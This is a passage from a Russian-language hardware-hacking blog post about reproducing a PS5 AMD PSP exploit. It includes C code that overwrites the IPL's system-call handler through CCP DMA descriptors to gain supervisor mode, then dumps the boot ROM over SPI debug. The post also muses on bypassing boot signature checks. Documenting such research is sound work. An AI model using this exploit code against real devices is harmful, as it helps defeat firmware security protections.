}А дальше осталось повысить привилегии, перезаписав адрес обработчика системного вызова в IPL как в примере, что выложил автор доклада:
// will be ran in supervisor mode
void priviledged()
{
// test output to SPI debug
dbg_16(0x7777);
}
void rewrite_svc_vector()
{
unsigned int *descr = (unsigned int *)0x73000;
descr[0x3C/4] = (unsigned int)priviledged; // new SVC handler pointer
descr[0] = 0x500011; // command
descr[1] = 0x4; // size
descr[2] = 0x7303C; // source low
descr[3] = 0x020000; // source high
descr[4] = 0x28; // dest low
descr[5] = 0x020000; // dest high
descr[6] = 0; // key low
descr[7] = 0; // key high
svc_write(0x3002008, 0x73000); // head
svc_write(0x3002004, 0); // tail
svc_write(0x3002000, 0x17); // start
}
void main()
{
rewrite_svc_vector();
asm("SVC 0"); // this should jump to priviledged()
}
Пока вот это вот не завелось, отлаживал через системный вызов №2 – по нему IPL читает ABL1 и прочие модули. Если на анализаторе чтения нет – значит, что-то пошло не так. Автор доклада использовал отладку POST-кодами, я решил обойтись без этого.
Ну и финал – для чтения ROM осталось перенести код настройки DMA из примера и запустить.
void priviledged()
{
unsigned int *buf = (unsigned int*)0x73000; // use stack area as buffer
for (int a = 0; a < 0x10000; a += 0x100) // write in parts of 0x100
{
ccp_passthrough(CCP_TYPED_ADDR(buf, CCP_MEMTYPE_PSP), CCP_TYPED_ADDR(a, CCP_MEMTYPE_SYSTEM), 0x100);
for(int i = 0; i < 0x80; i++)
{
dbg_16(((unsigned short*)buf)[i]); // output data into SPI debug
}
}
// probably long DMA delay by accessing flash area
ccp_passthrough_chain_push(CCP_TYPED_ADDR(WRITE_SYSTEM_MEM_START+0x1000, CCP_MEMTYPE_SYSTEM), CCP_TYPED_ADDR(SMN_FLASH_ADDR, CCP_MEMTYPE_PSP), 0x80);
// probably short DMA delay by copying RAM to itself
for (int i = 0; i < 2800; i++){
ccp_passthrough_chain_push(CCP_TYPED_ADDR(0, CCP_MEMTYPE_SYSTEM), CCP_TYPED_ADDR(0, CCP_MEMTYPE_SYSTEM), 0x18000);
}
// copying PSP ROM into RAM
ccp_passthrough_chain_push(CCP_TYPED_ADDR(0, CCP_MEMTYPE_SYSTEM), CCP_TYPED_ADDR(0xFFFF0000, CCP_MEMTYPE_PSP), 0x10000);
ccp_passthrough_chain_finalize();
CCP_HEAD = 0x00+0x00;
CCP_TAIL = 0x00+0x20*gChainCounter;
CCP_CTRL_STATUS = 0x73; // trigger DMA
delay(2);
*(volatile uint32_t*)0x3200090 = 1; // reset the CPU
while(1);
}Первый раз в дебаг выводится мусор, но если нажать кнопку ребута на плате, во второй раз в дебаге будет содержимое ROM:
Что с этим можно сделать дальше? Как минимум, изучить код для понимания процесса загрузки PS5. Например, автор доклада подметил, что если особым образом вызвать прерывание CPU, можно запустить offchip-bootloader, пропустив проверку подписи. Правда, на вопрос, как именно это сделать и возможно ли это вообще, ответа на данный момент нет.
А пока что благодаря обнаруженному эксплоиту в разы облегчается задача изучения AMD PSP и базирующихся на нём программных функций. Также благодаря тому, что PS5 ROM теперь может считать кто угодно, быть может, в ближайшее время мы увидим новости по новым обнаруженным эксплоитам в процессе её загрузки.
